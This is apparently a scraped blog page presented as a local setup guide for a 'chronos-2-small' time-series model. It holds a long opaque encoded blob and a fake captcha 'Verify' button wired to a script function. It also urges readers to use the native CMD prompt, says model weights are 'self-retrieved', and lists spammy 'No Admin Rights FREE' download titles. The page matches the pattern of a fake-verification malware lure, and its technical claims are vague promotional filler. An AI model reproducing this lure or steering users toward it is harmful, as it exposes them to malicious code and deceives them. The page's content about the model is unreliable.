y7sU\/dQZZHqBF+Q\/ORAP+3ypKnD6JJ74fvNLPvREIpbY9uQkNk+UMUMnSysCBOdtLf2zUYdXPqs1rNxrVG21Mf8ZxoflgzKGLeFZJqrZh4m8AXZE+DxfnoS0S4qnmofLXBebihtvm9BtTjRXAljJs5gek2XpRnaWgqWmo0eWgqZu8uxvMw7teJnenyqX+EHFjfrDedFH2nDSC0zVCd3r34CGJzp4Y0sJjDe3NAzZa3vOEPI5+u9sRf0+HfwkuKQP5jva4fdAz32UX6JtYwJbbDOFkm6zVSU\/VxSWgPh2FjT2+s5VLJiWxLWDL5zwB\/jqdKXbs+5a4pXw1B6ZbDFrjSRHVZww1Hjsvb97D3M61QbmjIAamAqKsk7H6HF1aOxSxpD9ULOXlExgqd5L+JFHyzkwzAcLt1d4uymB63SgUFM5HDo\/hGs\/MkfbSB0jywdh1NJD46etvSMar4ZjuT\/OuU7XceORHmyEVks5IgofX9nYGUvbVMxPbTedVPduuH7KClh11VhKBEfhF4sgaR\/ACEIy\/tqjzejruNstSRUljGDf6QvsEfFbL0\/6U0b64E78ANabvfabsePlfElXrBty84p4JHXMDMiP4Ox524W6fcxfFyDEILCO0K2nOp78wFS7E3mSc\/NkiTxpDKa9wSiPwe+ZWRVZmWIzs4yfzBD6onfmKYFd97XeC3Y8+1N9QeL9FAXNKXGW8RPRTN+VPshga+PFrDBGkbvyQsU1viMhg0uBvZPAuH44wZjfrS5vxp8cCGmkN6DSPfPV\/If08oK2zodVoN3fdzNaJQiZIgt\/SYy1ukhGZ6LU8N+oX7oNcU0GhTCSV8FIe79MvzqPQySFKnvT4P4Bd21kKoBY7B466KMSXDEjv+8p+hhDHOUzIHODY5wOaxaUcl9zSxbFBWA0I+0DfDZnlBPikspwwrYFm\/XjHfE7eB3T5mL39sCadn9S0UtmVfIGJPgNzj9lJnUJyRLmvHLS2uaKvexYhD3XZ6puSIhExv0+aatRuqrTcR5kmMU5fVhrpKpC6lTlzG0pYUV5Mcu7\/Gr24PbAlHVZEhYOAUmr45p3GyNcaiV74WVzpwry\/n2nM9S6hbl3OLn2j2eBWCUlSCCq1MmTmFgzKlOceSY5v2N6peiNGD1zWldavFW4tWkd0DPr2YQXPbNOez7ZcKskdgAUD4iRJ0ABexBCOtQg4v0yHc3we+c+oMWthdSx3kf9Bdgg4x37yY8hg9kANAS6Dg2DTGjUiUfEACcuIbJ+a5hELLsyMYlzx6gyfg\/lT1XbjYRG\/9qnE5mV0tXvuHKmcy5He3dx8Ppa1xMQgtgS5WV7bs5O3n7YzYBh\/UZX+PYG2mxp5gdrFVo0yfxV\/ggzz98ggh7eOKfT8BoA\/ntvkdhHqfbqh3xmH93s1k2\/QI0Zsswt2s+ngbYJRhSD+Tjmux8DPGWIrRE+y2yp\/kGu12sbOqFvzePNqNcsaJw8+h9bp08f+cWc5ZdbTvxVRaV9zfC+e49562AluVbKME3zzIJ514QI2FsjntCzCKb6ff6CfDHmHgTvwQlVKGtBhIT1tRNnowgba76xI3jZWMJmW96uwipm2BPrwatLjfv2gkqPFClSahsy97kiRVoDwWYhbtHrJBr82r+YL4EtF0bLeRUvk61IGzTfW0uCXvXB8iWSNM\/ilVz3DjqyBO48ubeVbEBuMkxejZYxamxjfgoOP0anNUy8CnwgrLyNK3dvN8r3qDsMhDQgpCBydUG8SPW8KbDMokb+mhdn7qr14HLWZY\/LSDlDRmuWOz3j3aHjYUD4eHGGbZaX5oJTd1P7D62ntAAGqkdPNzyDAgbqoPfZ7YUnOQ+VLz3qwMsdnFfGl+K5s8R1378XhrhRNkaxa9VXuuuSkqeMiC+u0+aX8X\/WGVovh5KGHOwUcAwnDB6BNAbA0\/63SsV4TyxNbcYNIa2UUUQDudBK6J9kllrZsqD4g2Zpo2vm9SxY0Mj\/WjtxRTELdOUo\/42LVvWv3lFn8iyDr1SyHJEDAAS0yd5vpnoAloV8HV3Mg9hMbFmS7Sg8XbCqry9ceuOr3fn8ViPgJGzPWa1hUBCVPI+SLC+98YYMolgENWpE1fyxXFWTAvdp6KJ+87eUcVuYwSrkHg3JBYrUDXpBQy0tNNx2yb7BoXFSFmH6ji0\/aqTID1sUDDlFuh6kNQ\/jZR0PD6jMfkjHWvWx73SpAWonuk3l8GZmB79+ILFjuWDpJSK6xW9y1Tmvhp23KpP85YKRIdZRs\/mFioTQu7Yn6PcAvZjHpAcaDxkMX65pJ\/pYCKHvuwqQLydgiounlmx4XID\/ZdJ8BAr\/zawI6Lz+gGluPJT6j0n65fWpoxYUyKgqDR9bwsBqkyuZkxJpVB7wLaAoKteGxrTtGx1g+TyeQB6Q7km33Zhsgnec45WPhdcbtc2u3Ctl78+pvDbV6UAfq36HmNZQBgA39BqvBo0wVDi\/XfElSK9lXOnLoZInzL5ZSeY\/alsUThMULdHnh8W6ClUuNPZlqelDh1NHLPMovuCVhu\/vpxgWescQ7sXp0MPyuYbEJ\/K8tfnFBmEMjNogBYCj+b1Du1M4uOtPewiw1YjnfomqU4VHdrwGNBoOdm6PneuGCO\/nW42UKJr70TS50qRayuNFQlyMOTU6D9qPBKyTLhC52bQNczXpMk5Ny8LO4bqO+O7+r5qk1nSbSq2EFEtK6xrZd7337uisbpwzpaBexMPbKLJMJlxCPY0m7nYUABjTBejWzRY03eRRLEpTr2HJ2irKzdnQwsM\/WCtWNlJ1BtKadpXkQLwKVn8R7jyfYA7PrQEX8boB5CX6zD8UKVkRezAr0lo7Tce\/4xBK5\/U2jyZQGKq1vqUWDSwcLeDT4a0NoQPo+3wEHHR9mXMweLWdMr6S0WSyY+RsfFf30qO\/qP7rSwMD99a6pip4chFg6MvFXPidoKDSUP3x4vHMTUJ3T9V35aqhZAacfc09Q6lkDwCRhpFCAOOXtDIupN2WHoqicpcUB78Sp8c9uJ\/AqJKRlf395lxN8XmwkV9PAy17V6NYN82mg1kns1P++cfV7e\/jEXIlkm25pJYaFiOg0SFkp+UyFuK63EqyuL7rjgqrtzbcjkPySVG7t3nmAC+tAXC1G6uDqcUWWPyRRwBH+QLcm2Lrry6Ce0uQEGw6Vv2+lOr6ahF1iuuiAI7ECpEuL6tkCdIWcm9cXQeJ0W5LREJMaoOzzagmVx\/4ENJkZLD\/q5lHPGWAEa38qcNOPzlo8byQZJH1N6WWfKngYLZ5gyWFCrqKrKe+kOSSDf11tDcEjul962r\/SeGlKc175lYe73Ip\/xuvrJ02SOvXCks1f9pkOUdGPMBoewCgzCNBJkNU\/spWNVMVuOGIJCt\/ocUYDWNptd+YjuNwmE\/yGkHRUQ4RI9goiLL5jRzjOYoOPhIPh5uvgq9pGkHFSc0k\/fWhj64HEBYgPTQy3Slw3P6eKgLjoB3e6PWcefq9U7otREa5uXFSuPtGBwyUAcRanCkxrSIuy53CObD7JCthMBK5hDlj2vZyaDnH3E6FZAhCEe5I\/UymRtCDYokKV90v+vl6zUakPCQG8\/q88ShGK4cF4e5DklSnTdv8DvmVkDi9d8jXH\/WfSKTyaS1WyO4RPbatZJ3Q3Gs5\/77S4O2aNCgKSdhpdwpEIZgbw1tRForPQsGREiyiw54pR1pWO0Z5bjSYKP04MLBn9Ryxr\/nqnrwWwpx93RqE4SqfnI76N7ytBOQYo9JfJwdqI0mVypaK1fa1N3X1oWisw0wQkQBxHiM8CssNJ+QTEnjVmjkTg7xyR0qpgWNsgBIiVW7y1e6JxtScu3ObJ1ln+RyM1jiPB1rJqWz0UMMR04IWTxZOXSivPiRyjKOAy+wE3yjVGywsMJbqbhQhFd1k7VTKsQX0EQJR1Hae0Av2BYQP1sO+Y8ymh8ac9l0pnUfqaq8hjUYRJhn5gieuWWidVR8HYsX7OJZo1BCgTlJ3BfBoUJSw0Knr7wjq\/sBZLxINEl148mvZ77izYu2D7J8+C37\/93VgqFTHh1I30\/TC0le\/HRDU2Uh+ZwjN74IMCS6Ka0pKWmGQpEQQm1vWjcws\/7Fuq+1PjvjqDB0vF8QdD4O4xwu4vg7t2lznjIBRZ5GntHY5UafQPhVFEl0+jMs3pB5hQesPTBnVG4wxp4lSvmElnWmbePyytteylMkFdeLQJx7bi4am+sX3EfRIthYBVspfgpFSVzC\/VmqGmSMPSNDWYrJK2tCMkLvVY\/ro6j0pM7GdiClDLs087+cW5NMGAeC2n2YtehCaNltJgb0z6hXxTwLJ7MBXgpbzVUuVPMmUL0Ovkg7dJXURz9Q4hrHXXCWMmCd3kGYzMXSz+2vqxBt50fdYk894IufgkNKa2yYf6whWs4+FeQ\/W1O1MdjwH8ObdpZYHMXgalCj1iFTNxsE8Hv+LexbpFEBsB5YTI\/Kjsf1d8Ju4qK3YtkgJxJACf2bW\/UmzvlpYFV+3WfGtxUsmv1YoHCr3DWtkCTSVy1vKtSgo0jT+z2q2YbRrqDT8NYmlavx2m6tz0XUe+bg+b4Y1fdqseOtv\/aS\/qBVBSVo4i8naSsURr55TXAB\/\/Wu1OqQu\/1L9RjXETWocvRS9Jj6jVRctP9NGpE1\/+FqBfiRXbSbdakp24Tj\/kGpvOZJbkQvTSFoQI2VWJDSjO8LghBozcYyemvTUzxbqFSJJN4rhKmpEBOu1QHsa9nfEiXvIc9m3UAAiAK+Jjpm7hX+0vbba6mJELWMYuc6pXtgyg7micDmuHXIj5kqiPbWn1CSERJ36XL3gMoqsabuzmqL9QfZ2RXpLnArz80zYuvmjJfiDtH8U0ZIzIk58g8DHpCwtn4x0CLP8xGiAjGAHlpZ4t2UMSlvSyHrP7Fi5y7Nr\/aG0UpEP+0J70MFu3HFmQqN2Lf5\/xmdYDfqGBrkzd7O5oWg8xLEm0luNu1+Ruwkd2Qunk92bY9PCFOrKIFJNj\/4t3JfRonkm+Z6J3Tcg\/1BexnpK+oLTQQHrvvZPdF++l6TkLz6Z0QXX079FyKwprMb2wXhcJTFXVcBHJ2xD8rZpEM8Azkea04ERUqJs\/EK5LGcd68Qp6uBIUj+y4ZTqxCLMK9LC4pmxdqfXxJonUtRUOiD3uKoiWxyYfXPG9zvNl3Oz6O3zV3og9kNvnLAN3UqlO8\/f4yL1nPsRo\/ZA6\/O9CofHEJajClqOas96m4O+OP9bLRYvx6d\/iP7W8yUu+Lm+KlG3cB5sFbUea6zFBTNwj3Ta5s3whp8+wkX5cLKmWJkffsUYR5nxvnIJvYf1YJpU9yxYeAy3uS7zpN69Wp\/zfcSbzNQHbGCuDohootlBGiseEGL6tpcvnD78P8FFp0k67S0SDloe9O3IDkAtSjpP9OkQ04A+GHyVz+0j\/RQ5+TQsqPyLjZXf9lToi4tXA2qawEEPxbBi03jR+yXAWS+VcByt1w5t2IiOdUW\/BkyTMNBzvZjOdNcD8FBWwEXCKxoKWVuA3jD+64ZQqCvR5TyivYr2m12BK4UU5XOMj5IBMOqNklpe+a16Jgo+991bU5E2wG2CcqWLDUuY0SyR4hiNcRVt6JHrjQUHYGdLegG76KuwHMAqMXAKsdpuaSF\/kBvtbEVL62+bfPiXWMC3li+kpKflUYzREvFwOv16sBYxZfsUf6y0XbylmbQDfqBnJlhEhqeKZrdJ3aa2yJM0fDxMnRyk86+HJi3rbp7PNBYWv+bgRlvMGSBvH+GMMSwv6KeaBW1J03Y5kP\/gh5VqsKnDng2gTf5VUq1YYwDqHnaxbSS1sekBOK+6eWQ+BcuxuaeJ3MU11hvju3oT4avjTgVy+jFnLNjZsfJrGq7nTmv7JW+g2LrX7q0ktLnx+++aGccYKhlnKgLaN+bK2y9mB9MJ3nEbAIZkfAJkVyK\/xCBp90g60DP3kAyVp6JvBNX8zhypOGSA0fMw2e7C0BOM2rzH\/p4BN8nzFoYWEiLg197cJvjqfeBuYJ+uHuQojs7IQ0AHuYrxKLhs13\/FvZDf6bvFO0J+y5I72TT5mC0Q9SRC5KCDS3MOtPCldb0ttvWUt6WWbtJpSI5ukU1\/4Bl6SF6dpaHCM6n65VAoLYt7giyP4vibBnmJLzwC37Gt146mGWE6g\/tavLLlGuwRLEbfmfN3ERK\/ZtnprnbCiNvu+akHfGVAcPSLu23TWPO+dK0t9aRHFrwfcaMt9fD7UgMSbZjuVlei7hZmn1kswSkkox3EqeAt7L2DJvDbyHADVFwkQFJXYJ6OGCnSbntcWR5EI44uf8MrTJ0\/KfjFQpfvCAnCeTJ8JP6vc5FPZCb8ksf2OXMlBRk9\/nO\/R7c\/sys9m5mnDKsP6YYmbpG3A6vGs9DVnVlaU1zQbWGsJVpyBaX91+YKbURHbTXnXk0pQ0x\/XE9HDJcdn4aA+UPM9O2zxTGq4csfGjq2+\/CZRFpO4NO79oMTEwkCNbSbV\/7fS739fzUNhRYPPOdOTPxsINiA2vnjZhcHS669\/23sp3MwM6hjbZM0RXuWT3+dKrRNJ9PAOns6gtkYnFe1xtqCe8rDeWBGoJVAGPGiIny9YK4nHXNU\/qzZLTm8cOu9aIWMJQwkh2ipKvp6Lnyn0xuTci3iPFfykREAWikVRX7KLG8csELRKJB9RIkfHgDSHjXTcovqXaP1E8TKTDGoxvjbuwZKvnAh6239MCr5VhgExj9MW4EbTSKkxmzZNTjAhUVJt+NnthdMqwvljkoQ0sY\/oh0N3HyOMwupi5jwCyg2DO\/\/\/NVN9UXx1mt8A67TwayrSL2Zo8uxvLd77MaOlMn1pG3UPnzw1GMgBAg1L2t+G9Ckpg\/oufliXsGusUt9j3xEx7bzO\/5nzFSdesNmKkoDgZ1UjNh8m9ACeiMABQQWRk7OEHPDMvtywdm7tQKD6l6Vmj4VvzpBHn7SzaCLLjU+1nV2v7\/BTGoHsW+znJ7KStGaMYITPN\/3nN5sq3tTbwn1YV1H\/JeJ+x92Jmqpc7h5NfxU4TYLsDcbEx+demadqdOqsTOCnHZh6gh\/h6XorFhnqvo07+vJBV63J6h5qFvcm8lYpvqteMa9PklX9aoNearwJuFee9QzU8MmwoieZvP6X03keePA8gzsNXMHnzLYgfKYMqMSqZHa+MuKEZwcCTzN066wXdN\/cD8t7L\/EdGAt0VRuIS2uCVGUnke09ahwVIS0nqaWA+mqd+Qtrk4\/SbivBgSfL49gFS5joLR6pwv5EmrUgimr8ixZx2KaENeqLtXgCW1cmVVWvrCin4idTtXcDoSnIAeUx52wrJOAAUIwP7ZVJyZmnLz6cllizu+SrZ2Pw85XCFxRKgLMBfOoXjwD6K1\/XwMARxoGR25MojSSsBSeIOZogm1SCiR9A0zSQ7KKJ0yfWmmDC0AoxY8bCxyRBZMmbZ93+b+R2TXF3\/bJyOy8K6HO5UuGG+acEPpswfY85fyvxgvt4DzATlWBeAR5G4MqJ5SrzVuaNPDBoPBAQOfay8g5JJISxSn3FXHItQr0DAZBqGAnshChm24HRhJYESKkjO1M1VSqrIUkzTqfNWfo+fJe4fIs5P7h+LXmjKi4r+OSATconmfTB3lge8N6Rr6qdwpYyMNmfpbJ\/xnmHtMUV0rGQaTF7gMVbjSAOo3N6O1BWfvbU42XCfghwpvyQtyyDDedXYFKIuFLj3O4RtumRn9oKgMfC3LyFmOZhKimf3mWW8JOLI+QYd\/B9d2354N8SdnRMAKA3A9YpAHntrT73XbgX6YKdbnXbSx3CjhmiDWNnNXEhmcOieJxZCyjQWrOZXOJhXBlismYroPtvnkjOiMYWfRn+M7evCmGQM7q19lDfY1HxPo1P1ls0Q\/yo5vkLeU\/63ktligq+VAu+mTlD1zhWpTAihHpYt766J1aVltakYrb4cp9CTTJ5S81ysqpY40DZ5wHt7DBtIOthtMqO7JBjtYXQZIm7lMcwOu2vPGCuS7YNIPys5425ZeLevPcJtdqZziLwBHSqFNU5PXYYk5jt9qGKOTQFGichZuthhadWS3ziGCRFKx\/vUHYBF8963ArESrEC9\/NOPGqtMllzpOuW+moy9LalsESYWYcR9b6WUvxRJBov5B2pmGQqZdIvJ4b8W7xvHr3OJqJ6pzHJqEboufzpwL9EoFv9qq+Mi1MY5kCE54pW2sP50QEo+v7MGBs7EiKNOPAqWcsUPVdcbGODjVVCAbeQSQGYxRhc0ek1yxJTQRnV6r8+bmYvW+nQPAFP+X8zF9KRMBkJz2+Xzh7mt9wJDfaAhzjx1uXunXfpsNFLiNb\/UHFcoYI9PD\/3R+As58qMJvzM4On8VhFHiD3oYuxu0IcDRDhGL96Fbk5jx7nKkkQFHquN\/DD3xrRM1y88RC+1zlNknOLnAhfzXaZbg5+DoNAmoz6UOOVrgYgir3LUJTtfLEWnl+FfIrIwG8aFMgAHoq8HUGpxeJXHdAqYuJEN8EthMc\/yWxQOcELK\/pR7JMJAuMDS8ghx+PjW38\/mXc3F9r0isBtBi9v33YmfvOP6RwmonDD\/WrIvVMy8aNa+klh7+6gL413sB8jbExegL1y0GD7pheCd6cbARcxn9bn\/gwk2xHGPtpDIB\/dneyIVEr3jeaglxUSl\/nQ1UfSEwjEyrBl2aVbR\/a\/tuPjYr7QFj4U6CR5lrUV9to7TJF\/vwPiMJ5MQF+s01NgH+U9r1itRP1kb\/vFeIfkvb9DCfVEGr5iWIDebvtljOpoT1CFcuEh\/MSWy+vgX\/BVQdKI2kN8e6+nOhQKgqNIhKio76kko60GsbpUYTKggtYUNo3EoTH0R7zzmX3qaaUW9cDxZrvJypSNh2qZYjKBm9ZnHzJq0LDoVsa1WKnRPqtxGrBXqFrkmJf9Ae1y3O9ikUOHlBzQyL4vhsa1edyPjJM3DbaT5xyXMp0fLKQPzrz4f+gm94kCX584Dxmbfo6X1xMdsWUPTrrS1muGJZWD3FQGW9z\/n3SMuXcNygs\/Q2T5M4X50b956Q1yta8kRQfK6eggZHmxtrj0uMxR5FLDNsYk\/AROCGt8N8GbRedcVK2ZcArYue+jojDqRSct9UWAXrPrYcyid2lF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#ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:30px;padding-left:25px;margin-left:0;\">\n<li><strong>Processor:<\/strong> Intel i7 \/ Ryzen 7 <strong>for heavy Quantized models<\/strong><\/li>\n<li><strong>RAM:<\/strong> required: 16 GB <strong>absolute minimum<\/strong> for small models<\/li>\n<li><b>Disk Space:<\/b> 80 GB <b>NVMe SSD<\/b> required for fast model weights loading<\/li>\n<li><strong>GPU:<\/strong> high memory bandwidth GPU for <strong>next-gen local AI<\/strong> pipeline<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h3>Unlocking the Power of Time Series Forecasting with Chronos-2-Small<\/h3>\n<p>The <b>chronos-2-small<\/b> model is a revolutionary breakthrough in time series forecasting, offering unparalleled accuracy and computational efficiency. Its compact architecture is designed to balance performance and power consumption, making it an ideal choice for latency-critical applications. By combining a multi-head attention mechanism with a lightweight transformer encoder, the model can capture long-range dependencies while maintaining a small memory footprint. This innovative approach enables fast and accurate predictions on complex time series data.\u2022 <b>Main Advantages:<\/b>  \u2022 High accuracy in time series forecasting  \u2022 Computational efficiency optimized for latency-critical applications  \u2022 Compact architecture with minimal memory footprint<\/p>\n<h4>Key Specifications Comparison<\/h4>\n<table>\n<tr>\n<th>Model<\/th>\n<td><b>chronos-2-small<\/b><\/td>\n<\/tr>\n<tr>\n<th>Parameters<\/th>\n<td>120M<\/td>\n<\/tr>\n<tr>\n<th>Seq Length<\/th>\n<td>1024<\/td>\n<\/tr>\n<tr>\n<th>Training Data<\/th>\n<td>Public time series<\/td>\n<\/tr>\n<\/table>\n<h3>Differences in Performance and Training Efficiency<\/h3>\n<p>The <b>chronos-2-small<\/b> model outperforms larger variants on several benchmark datasets, showcasing its competitive edge. Moreover, the use of mixed-precision techniques during training enables deployment on consumer-grade hardware without compromising predictive power.\u2022 <b>Training Speedup:<\/b>  \u2022 Mixed-precision training accelerates model convergence  \u2022 Reduces training time by up to 50% for smaller models<\/p>\n<h4>Conclusion and Future Directions<\/h3>\n<p>The Chronos-2-Small model represents a significant milestone in the development of efficient time series forecasting algorithms. Its innovative architecture, optimized for performance and computational efficiency, holds great promise for future applications.<b>Stay ahead of the curve with our upcoming updates on Chronos-2-Small. Subscribe to our newsletter for exclusive insights and early access to new models.<\/b>\u2022 <b>Benefits:<\/b>  \u2022 Fast and accurate time series forecasting  \u2022 Compact architecture reduces memory footprint  \u2022 Optimized for latency-critical applications<\/p>\n<ul>\n<li>Installer deploying standalone local vector database engines for complex Dify workflows<\/li>\n<li>Quick Run chronos-2-small No Admin Rights Offline Setup FREE<\/li>\n<li>Script downloading advanced mathematics deduction checkpoints for logical validation<\/li>\n<li>chronos-2-small on Your PC with Native FP4 Windows FREE<\/li>\n<li>Script fetching daily updated open-source LLM leaderboard models<\/li>\n<li>chronos-2-small Offline on PC with Native FP4 FREE<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Setting up this model locally is incredibly fast if you use the native CMD prompt. Check out the detailed setup guide below to begin. Be patient as the system self-retrieves massive model weights dynamically. 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